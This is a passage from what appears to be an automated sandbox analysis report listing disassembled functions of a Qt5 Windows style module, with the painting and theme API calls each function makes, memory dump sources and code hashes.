Instruction Fuzzy Hash: B2C16C32A18B828AEB16DF34E8452E977A0FB547E8F004275DA4E57AB9DF7CE145C700

Function 00007FF81231B03D Relevance: 30.2, APIs: 20, Instructions: 168windowCOMMON

Download Yara Rule

APIs

?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF81231B0CC
??0QBrush@@QEAA@AEBV0@@Z.QT5GUI ref: 00007FF81231B0D9
?fillRect@QPainter@@QEAAXAEBVQRect@@AEBVQBrush@@@Z.QT5GUI ref: 00007FF81231B0EC
??1QBrush@@QEAA@XZ.QT5GUI ref: 00007FF81231B0F6
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231B10B
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF81231B150
?fillRect@QPainter@@QEAAXAEBVQRect@@AEBVQBrush@@@Z.QT5GUI ref: 00007FF81231B165
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF81231B175
?color@QBrush@@QEBAAEBVQColor@@XZ.QT5GUI ref: 00007FF81231B17E
?setPen@QPainter@@QEAAXAEBVQColor@@@Z.QT5GUI ref: 00007FF81231B18C
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF81231B19B
?setBackground@QPainter@@QEAAXAEBVQBrush@@@Z.QT5GUI ref: 00007FF81231B1A9
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF81231B1B9
?fillRect@QPainter@@QEAAXAEBVQRect@@AEBVQBrush@@@Z.QT5GUI ref: 00007FF81231B1CE
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF81231B1E0
?color@QBrush@@QEBAAEBVQColor@@XZ.QT5GUI ref: 00007FF81231B1E9
?setPen@QPainter@@QEAAXAEBVQColor@@@Z.QT5GUI ref: 00007FF81231B1F7
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF81231B206
?setBackground@QPainter@@QEAAXAEBVQBrush@@@Z.QT5GUI ref: 00007FF81231B214
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231B24B

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Color$Brush@@$?brush@Group@1@Painter@@Palette@@Role@1@@$Brush@@@$?set$?fillRect@Rect@@$?color@?proxy@Background@Color@@Color@@@Pen@Style@@$V0@@
String ID:
API String ID: 2355596520-0
Opcode ID: 9552794acaa88959f7b49e2bfd46e588a9934e25142abeaad7b48bf73be58321
Instruction ID: cb136d49b3f070fe573fd6954f5aa5891dce35f96470d7164b2a7f82c2a82ee2
Opcode Fuzzy Hash: 9552794acaa88959f7b49e2bfd46e588a9934e25142abeaad7b48bf73be58321
Instruction Fuzzy Hash: 0D81AD32A08F4286E715CF65E4486ED77A5FB88BA8F100265DE4D17768DFBCD14ACB40

Function 00007FF8123204C9 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 110stringCOMMON

Download Yara Rule

APIs

GetCurrentThemeName.UXTHEME ref: 00007FF812320513
??0QChar@@QEAA@UQLatin1Char@@@Z.QT5CORE ref: 00007FF812320523
lstrcmpW.KERNEL32 ref: 00007FF81232054B
lstrcmpW.KERNEL32 ref: 00007FF812320560
??0QStyleOptionTabWidgetFrame@@QEAA@AEBV0@@Z.QT5WIDGETS ref: 00007FF812320575
?rect@QWidget@@QEBA?AVQRect@@XZ.QT5WIDGETS ref: 00007FF812320588
??0QRegion@@QEAA@AEBVQRect@@W4RegionType@0@@Z.QT5GUI ref: 00007FF8123205C4
??0QRegion@@QEAA@AEBVQRect@@W4RegionType@0@@Z.QT5GUI ref: 00007FF8123205D9
??ZQRegion@@QEAAAEAV0@AEBV0@@Z.QT5GUI ref: 00007FF8123205E8
??1QRegion@@QEAA@XZ.QT5GUI ref: 00007FF8123205F3
?setClipRegion@QPainter@@QEAAXAEBVQRegion@@W4ClipOperation@Qt@@@Z.QT5GUI ref: 00007FF812320609
?setClipRect@QPainter@@QEAAXAEBVQRect@@W4ClipOperation@Qt@@@Z.QT5GUI ref: 00007FF812320651
??1QRegion@@QEAA@XZ.QT5GUI ref: 00007FF81232065E
??1QStyleOption@@QEAA@XZ.QT5WIDGETS ref: 00007FF812320668

Strings

Luna.msstyles, xrefs: 00007FF812320540
Metallic, xrefs: 00007FF812320555

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Region@@$ClipRect@@$?setOperation@Painter@@Qt@@@RegionStyleType@0@@V0@@lstrcmp$?rect@Char@@Char@@@CurrentFrame@@Latin1NameOptionOption@@Rect@Region@ThemeWidgetWidget@@
String ID: Luna.msstyles$Metallic
API String ID: 481824375-1662128400
Opcode ID: 6c157ab8282ca6935ac5aa13b70c59d0ab73f2b9a2354d63d8554d93d975ac15
Instruction ID: c4720caf1aa8bfd490a814716419954ab56e94d026d52b8b9f08c8b5de798f63
Opcode Fuzzy Hash: 6c157ab8282ca6935ac5aa13b70c59d0ab73f2b9a2354d63d8554d93d975ac15
Instruction Fuzzy Hash: DB516B32A08E8286EB15DF64E8506ED7770FB94BE8F404262DA4E57A78DFBCD549C700

Function 00007FF81232023A Relevance: 27.2, APIs: 18, Instructions: 175windowCOMMON

Download Yara Rule

APIs

?parentWidget@QWidget@@QEBAPEAV1@XZ.QT5WIDGETS ref: 00007FF812320271
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF812320281
?palette@QWidget@@QEBAAEBVQPalette@@XZ.QT5WIDGETS ref: 00007FF81232028F
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF8123202B7
?fillRect@QPainter@@QEAAXAEBVQRect@@AEBVQBrush@@@Z.QT5GUI ref: 00007FF8123202C7
GetThemeEnumValue.UXTHEME ref: 00007FF81232033E
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF812320381
??0QBrush@@QEAA@AEBV0@@Z.QT5GUI ref: 00007FF81232038F
GetThemePropertyOrigin.UXTHEME ref: 00007FF8123203C4

Part of subcall function 00007FF8123211E0: ?getHWNDForWidget@QApplicationPrivate@@SAPEAUHWND__@@PEBVQWidget@@@Z.QT5WIDGETS(?,00000004,00000002,?,?,00000000,00007FF8123197AA), ref: 00007FF812321228
Part of subcall function 00007FF8123211E0: ?allWindows@QGuiApplication@@SA?AV?$QList@PEAVQWindow@@@@XZ.QT5GUI(?,00000004,00000002,?,?,00000000,00007FF8123197AA), ref: 00007FF812321242
Part of subcall function 00007FF8123211E0: ?isTopLevel@QWindow@@QEBA_NXZ.QT5GUI ref: 00007FF812321276
Part of subcall function 00007FF8123211E0: ?type@QWindow@@QEBA?AW4WindowType@Qt@@XZ.QT5GUI ref: 00007FF812321283
Part of subcall function 00007FF8123211E0: ?handle@QWindow@@QEBAPEAVQPlatformWindow@@XZ.QT5GUI ref: 00007FF812321291
Part of subcall function 00007FF8123211E0: GetDesktopWindow.USER32 ref: 00007FF8123212A9
Part of subcall function 00007FF8123211E0: ?dispose@QListData@@SAXPEAUData@1@@Z.QT5CORE ref: 00007FF8123212E3
Part of subcall function 00007FF8123211E0: ??0QMessageLogger@@QEAA@PEBDH0@Z.QT5CORE ref: 00007FF812321366
Part of subcall function 00007FF8123211E0: ?warning@QMessageLogger@@QEBAXPEBDZZ.QT5CORE ref: 00007FF812321376
Part of subcall function 00007FF8123211E0: OpenThemeData.UXTHEME ref: 00007FF8123213DD
Part of subcall function 00007FF8123211E0: ?toLocal8Bit@QString@@QEHAA?AVQByteArray@@XZ.QT5CORE ref: 00007FF81232140F

GetThemeInt.UXTHEME ref: 00007FF8123203F8
??0QColor@@QEAA@I@Z.QT5GUI ref: 00007FF812320427
??0QBrush@@QEAA@AEBVQColor@@W4BrushStyle@Qt@@@Z.QT5GUI ref: 00007FF81232043C
??4QRegion@@QEAAAEAV0@$$QEAV0@@Z.QT5GUI ref: 00007FF81232044A
??1QBrush@@QEAA@XZ.QT5GUI ref: 00007FF812320455
?fillRect@QPainter@@QEAAXAEBVQRect@@AEBVQBrush@@@Z.QT5GUI ref: 00007FF812320467
??1QBrush@@QEAA@XZ.QT5GUI ref: 00007FF812320472
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF812320487
?drawPrimitive@QWindowsStyle@@UEBAXW4PrimitiveElement@QStyle@@PEBVQStyleOption@@PEAVQPainter@@PEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF81232104B

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Brush@@$ColorThemeWindow@@$Painter@@Palette@@Style@@$?brush@?fillBrush@@@Color@@Group@1@Logger@@MessageObject@@Rect@Rect@@Role@1@@V0@@Widget@Widget@@Widget@@@Window$?all?cast@?dispose@?draw?get?handle@?palette@?parent?proxy@?type@?warning@ApplicationApplication@@Array@@Bit@BrushByteD__@@DataData@1@@Data@@DesktopElement@EnumLevel@ListList@Local8MetaOpenOption@@OriginPlatformPrimitivePrimitive@Private@@PropertyQt@@Qt@@@Region@@String@@StyleStyle@Type@V0@$$V2@@ValueWindow@@@@WindowsWindows@
String ID:
API String ID: 3004358864-0
Opcode ID: bd96ded2dad61bf424b7705983c9126beb79389f94e2d87c0cf8cf2422c1a3a9
Instruction ID: e73f848ac9112cea0cd98ccb3c9dd02d806aeddf796b1179eb3ea37a3c4ef6fa
Opcode Fuzzy Hash: bd96ded2dad61bf424b7705983c9126beb79389f94e2d87c0cf8cf2422c1a3a9
Instruction Fuzzy Hash: 5B817C32A19A4186EB11CB65E8441FD77B1FB847E4F104239DE8E13AA8DF7CE54ACB00

Function 00007FF812315322 Relevance: 27.1, APIs: 18, Instructions: 86windowCOMMON

Download Yara Rule

APIs

?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF81231532C
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF81231533F
??0QPalette@@QEAA@AEBV0@@Z.QT5GUI ref: 00007FF812315373
?color@QPalette@@QEBAAEBVQColor@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF812315384
??0QBrush@@QEAA@AEBVQColor@@W4BrushStyle@Qt@@@Z.QT5GUI ref: 00007FF81231539B
?setBrush@QPalette@@QEAAXW4ColorGroup@1@W4ColorRole@1@AEBVQBrush@@@Z.QT5GUI ref: 00007FF8123153B1
??1QBrush@@QEAA@XZ.QT5GUI ref: 00007FF8123153BC
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF8123153CF
?color@QBrush@@QEBAAEBVQColor@@XZ.QT5GUI ref: 00007FF8123153D8
?darker@QColor@@QEBA?AV1@H@Z.QT5GUI ref: 00007FF8123153EC
??0QBrush@@QEAA@AEBVQColor@@W4BrushStyle@Qt@@@Z.QT5GUI ref: 00007FF8123153FC
?setBrush@QPalette@@QEAAXW4ColorGroup@1@W4ColorRole@1@AEBVQBrush@@@Z.QT5GUI ref: 00007FF812315412
??1QBrush@@QEAA@XZ.QT5GUI ref: 00007FF81231541C
??0QStyleOptionViewItem@@QEAA@AEBV0@@Z.QT5WIDGETS ref: 00007FF81231542C
??4QPalette@@QEAAAEAV0@AEBV0@@Z.QT5GUI ref: 00007FF81231543E
?selectionMode@QAbstractItemView@@QEBA?AW4SelectionMode@1@XZ.QT5WIDGETS ref: 00007FF812315447
??1QStyleOptionViewItem@@QEAA@XZ.QT5WIDGETS ref: 00007FF812315488
??1QPalette@@QEAA@XZ.QT5GUI ref: 00007FF812315493

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Color$Palette@@$Brush@@$Color@@$Group@1@Object@@$V0@@$?cast@?color@?setBrushBrush@Brush@@@Item@@MetaOptionQt@@@Role@1@Role@1@@StyleStyle@V2@@View$?brush@?darker@?selectionAbstractItemMode@Mode@1@SelectionView@@
String ID:
API String ID: 2823362239-0
Opcode ID: 4c4864e27856727efc6a61dc79d757c57fa43a5da8b964370d82ac28dac8d537
Instruction ID: 62bca18691cd54fce88c60c6dfa30592f106539fd630a9a282291deb17b5b9f0
Opcode Fuzzy Hash: 4c4864e27856727efc6a61dc79d757c57fa43a5da8b964370d82ac28dac8d537
Instruction Fuzzy Hash: 59415E32A18E4786DB25DF11E8485F97360FB84BA9F504271DA4E43A78DFBCE609CB40

Function 00007FF81231B2C1 Relevance: 26.7, APIs: 14, Strings: 1, Instructions: 403COMMON

Download Yara Rule

APIs

?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231B35D
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231B46A
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231B56B
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231B5A8
??UQRect@@QEBA?AV0@AEBV0@@Z.QT5CORE ref: 00007FF81231B5E9
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231B5FD
??UQRect@@QEBA?AV0@AEBV0@@Z.QT5CORE ref: 00007FF81231B63A

Part of subcall function 00007FF812319550: ?isActive@QPainter@@QEBA_NXZ.QT5GUI ref: 00007FF812319595
Part of subcall function 00007FF812319550: ?save@QPainter@@QEAAXXZ.QT5GUI ref: 00007FF8123195B5
Part of subcall function 00007FF812319550: ?device@QPainter@@QEBAPEAVQPaintDevice@@XZ.QT5GUI ref: 00007FF8123195C1
Part of subcall function 00007FF812319550: ?devicePixelRatioF@QPaintDevice@@QEBANXZ.QT5GUI ref: 00007FF8123195D6
Part of subcall function 00007FF812319550: ?window@QWidget@@QEBAPEAV1@XZ.QT5WIDGETS ref: 00007FF8123195FB
Part of subcall function 00007FF812319550: ?testAttribute_helper@QWidget@@AEBA_NW4WidgetAttribute@Qt@@@Z.QT5WIDGETS ref: 00007FF812319609
Part of subcall function 00007FF812319550: ?deviceTransform@QPainter@@QEBAAEBVQTransform@@XZ.QT5GUI ref: 00007FF812319615
Part of subcall function 00007FF812319550: ?type@QTransform@@QEBA?AW4TransformationType@1@XZ.QT5GUI ref: 00007FF812319621
Part of subcall function 00007FF812319550: ?opacity@QPainter@@QEBANXZ.QT5GUI ref: 00007FF8123196B1
Part of subcall function 00007FF812319550: ?paintEngine@QPainter@@QEBAPEAVQPaintEngine@@XZ.QT5GUI ref: 00007FF812319704
Part of subcall function 00007FF812319550: ?paintDevice@QPaintEngine@@QEBAPEAVQPaintDevice@@XZ.QT5GUI ref: 00007FF81231970D
Part of subcall function 00007FF812319550: ?size@QBackingStore@@QEBA?AVQSize@@XZ.QT5GUI ref: 00007FF812319741

Strings

@, xrefs: 00007FF81231B7D3

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Painter@@$?proxy@PaintStyle@@$Device@@$?device?paintEngine@@Rect@@Transform@@V0@@Widget@@$?device@?opacity@?save@?size@?test?type@?window@Active@Attribute@Attribute_helper@BackingDevice@Engine@PixelQt@@@RatioSize@@Store@@Transform@TransformationType@1@Widget
String ID: @
API String ID: 1767250720-2766056989
Opcode ID: 2eb2fc1b89d3a4aab5883605f0217c8fbb41d2e168a36153538c454d3cc29cf9
Instruction ID: 2293a0fcd4df595440b1db9932e3cff612099abd87f854864c38ed4f8129c69b
Opcode Fuzzy Hash: 2eb2fc1b89d3a4aab5883605f0217c8fbb41d2e168a36153538c454d3cc29cf9
Instruction Fuzzy Hash: F8029C22A08B8186E725CB25E4453E977A1FF847E8F144276DE4E177A4EFBCE545CB00

Function 00007FF812315D2B Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

?isInstanceOf@QStyleHelper@@YA_NPEAVQObject@@W4Role@QAccessible@@@Z.QT5WIDGETS ref: 00007FF812315D34
?isInstanceOf@QStyleHelper@@YA_NPEAVQObject@@W4Role@QAccessible@@@Z.QT5WIDGETS ref: 00007FF812315D47
?inherits@QObject@@QEBA_NPEBD@Z.QT5CORE ref: 00007FF812315D60
?save@QPainter@@QEAAXXZ.QT5GUI ref: 00007FF812315D77
GetThemeInt.UXTHEME ref: 00007FF812315DFA
??0QRegion@@QEAA@AEBVQRect@@W4RegionType@0@@Z.QT5GUI ref: 00007FF812315E0B
??0QRect@@QEAA@AEBVQPoint@@0@Z.QT5CORE ref: 00007FF812315E4A
??0QRegion@@QEAA@AEBVQRect@@W4RegionType@0@@Z.QT5GUI ref: 00007FF812315E5C
??_6QRegion@@QEAAAEAV0@AEBV0@@Z.QT5GUI ref: 00007FF812315E6C
?setClipRegion@QPainter@@QEAAXAEBVQRegion@@W4ClipOperation@Qt@@@Z.QT5GUI ref: 00007FF812315E80
?restore@QPainter@@QEAAXXZ.QT5GUI ref: 00007FF812315E9E
??1QRegion@@QEAA@XZ.QT5GUI ref: 00007FF812315EA9
??1QRegion@@QEAA@XZ.QT5GUI ref: 00007FF812315EB4

Strings

QTextEdit, xrefs: 00007FF812315D56

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Region@@$Object@@Painter@@Rect@@$Accessible@@@ClipHelper@@InstanceRegionRole@StyleType@0@@$??_6?inherits@?restore@?save@?setOperation@Point@@0@Qt@@@Region@ThemeV0@@
String ID: QTextEdit
API String ID: 4224864441-1621276798
Opcode ID: 36e9c9b5fb29f7f796b88c0683f7d4770743718a68bceb0ea0c2b0a7d13ec0dc
Instruction ID: 8cfba53ab75e01bba076b446a9ed86a3926cb24c1d867865e4b96d4b95c705d3
Opcode Fuzzy Hash: 36e9c9b5fb29f7f796b88c0683f7d4770743718a68bceb0ea0c2b0a7d13ec0dc
Instruction Fuzzy Hash: 8D518132A08E4286EB15DF69E4442ED7770FB847A8F404276DE4E57AA8DFBCD545CB00

Function 00007FF812319550 Relevance: 22.7, APIs: 15, Instructions: 184COMMON

Download Yara Rule

APIs

?isActive@QPainter@@QEBA_NXZ.QT5GUI ref: 00007FF812319595
?save@QPainter@@QEAAXXZ.QT5GUI ref: 00007FF8123195B5
?device@QPainter@@QEBAPEAVQPaintDevice@@XZ.QT5GUI ref: 00007FF8123195C1
?devicePixelRatioF@QPaintDevice@@QEBANXZ.QT5GUI ref: 00007FF8123195D6
?window@QWidget@@QEBAPEAV1@XZ.QT5WIDGETS ref: 00007FF8123195FB
?testAttribute_helper@QWidget@@AEBA_NW4WidgetAttribute@Qt@@@Z.QT5WIDGETS ref: 00007FF812319609
?deviceTransform@QPainter@@QEBAAEBVQTransform@@XZ.QT5GUI ref: 00007FF812319615
?type@QTransform@@QEBA?AW4TransformationType@1@XZ.QT5GUI ref: 00007FF812319621
?type@QTransform@@QEBA?AW4TransformationType@1@XZ.QT5GUI ref: 00007FF812319633
?opacity@QPainter@@QEBANXZ.QT5GUI ref: 00007FF8123196B1
?paintEngine@QPainter@@QEBAPEAVQPaintEngine@@XZ.QT5GUI ref: 00007FF812319704
?paintDevice@QPaintEngine@@QEBAPEAVQPaintDevice@@XZ.QT5GUI ref: 00007FF81231970D
?size@QBackingStore@@QEBA?AVQSize@@XZ.QT5GUI ref: 00007FF812319741
?paintDevice@QBackingStore@@QEAAPEAVQPaintDevice@@XZ.QT5GUI ref: 00007FF812319755
?restore@QPainter@@QEAAXXZ.QT5GUI ref: 00007FF8123197B0

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Painter@@$Paint$Device@@$?paintTransform@@$?device?type@BackingDevice@Engine@@Store@@TransformationType@1@Widget@@$?device@?opacity@?restore@?save@?size@?test?window@Active@Attribute@Attribute_helper@Engine@PixelQt@@@RatioSize@@Transform@Widget
String ID:
API String ID: 156525822-0
Opcode ID: f785b273516815904cbbb09eaf6bd3aaef89aff95e34b1e7fb10eec919d039be
Instruction ID: cb4d5e24fd45ac9963840ff1f35d4eb42610467a7aa5b762bdbc4227d22aaffc
Opcode Fuzzy Hash: f785b273516815904cbbb09eaf6bd3aaef89aff95e34b1e7fb10eec919d039be
Instruction Fuzzy Hash: 7171B021E09E4686EA16CF3594151F963E4FF56BF5F0487B2DE4E236B0DFACE4928200

Function 00007FF812315ECA Relevance: 22.7, APIs: 15, Instructions: 156windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8123217E0: ?parentWidget@QWidget@@QEBAPEAV1@XZ.QT5WIDGETS ref: 00007FF8123217F4
Part of subcall function 00007FF8123217E0: ?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF812321804
Part of subcall function 00007FF8123217E0: ?palette@QWidget@@QEBAAEBVQPalette@@XZ.QT5WIDGETS ref: 00007FF812321812

?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF812315EF8
?fillRect@QPainter@@QEAAXAEBVQRect@@AEBVQBrush@@@Z.QT5GUI ref: 00007FF812315F07
?drawPrimitive@QWindowsStyle@@UEBAXW4PrimitiveElement@QStyle@@PEBVQStyleOption@@PEAVQPainter@@PEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF812315F87
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF8123160F0

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Style@@$ColorObject@@Painter@@Palette@@Widget@@$?brush@?cast@?draw?fill?palette@?parent?proxy@Brush@@Brush@@@Element@Group@1@MetaOption@@PrimitivePrimitive@Rect@Rect@@Role@1@@StyleV2@@Widget@Widget@@@Windows
String ID:
API String ID: 3275618784-0
Opcode ID: d7353c7e1bfea933c912eacc27bbde75b736ff5e47b283adde53da226a7a8d56
Instruction ID: 5eae729cd67a43fa13ce92812a32b3de57e6fb09dc74aa788801fafe30c74b9b
Opcode Fuzzy Hash: d7353c7e1bfea933c912eacc27bbde75b736ff5e47b283adde53da226a7a8d56
Instruction Fuzzy Hash: 5361AE32B18A528AF711CB65E8402ED77A0FB847A8F400276EE4E57BA8DF7CD546C700

Function 00007FF81231F50C Relevance: 22.6, APIs: 15, Instructions: 133windowCOMMON

Download Yara Rule

APIs

?color@QPalette@@QEBAAEBVQColor@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF81231F525
?save@QPainter@@QEAAXXZ.QT5GUI ref: 00007FF81231F54E
?darker@QColor@@QEBA?AV1@H@Z.QT5GUI ref: 00007FF81231F568
?setPen@QPainter@@QEAAXAEBVQColor@@@Z.QT5GUI ref: 00007FF81231F574
?isWindow@QWidget@@QEBA_NXZ.QT5WIDGETS ref: 00007FF81231F58C
?blue@QColor@@QEBAHXZ.QT5GUI ref: 00007FF81231F5A6
?green@QColor@@QEBAHXZ.QT5GUI ref: 00007FF81231F5BB
?red@QColor@@QEBAHXZ.QT5GUI ref: 00007FF81231F5D0
??0QColor@@QEAA@HHHH@Z.QT5GUI ref: 00007FF81231F603
??0QBrush@@QEAA@AEBVQColor@@W4BrushStyle@Qt@@@Z.QT5GUI ref: 00007FF81231F61E
?setBrush@QPainter@@QEAAXAEBVQBrush@@@Z.QT5GUI ref: 00007FF81231F62C
??1QBrush@@QEAA@XZ.QT5GUI ref: 00007FF81231F637
?adjusted@QRect@@QEBA?AV1@HHHH@Z.QT5CORE ref: 00007FF81231F658
?drawRects@QPainter@@QEAAXPEBVQRect@@H@Z.QT5GUI ref: 00007FF81231F667
?restore@QPainter@@QEAAXXZ.QT5GUI ref: 00007FF81231F670

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Color@@$Painter@@$?setBrush@@ColorRect@@$?adjusted@?blue@?color@?darker@?draw?green@?red@?restore@?save@BrushBrush@Brush@@@Color@@@Group@1@Palette@@Pen@Qt@@@Rects@Role@1@@Style@Widget@@Window@
String ID:
API String ID: 1309040253-0
Opcode ID: 0b4b5d6bbde006c87cb7a5568188b9c3dc26477b2828ff20651058617986dc34
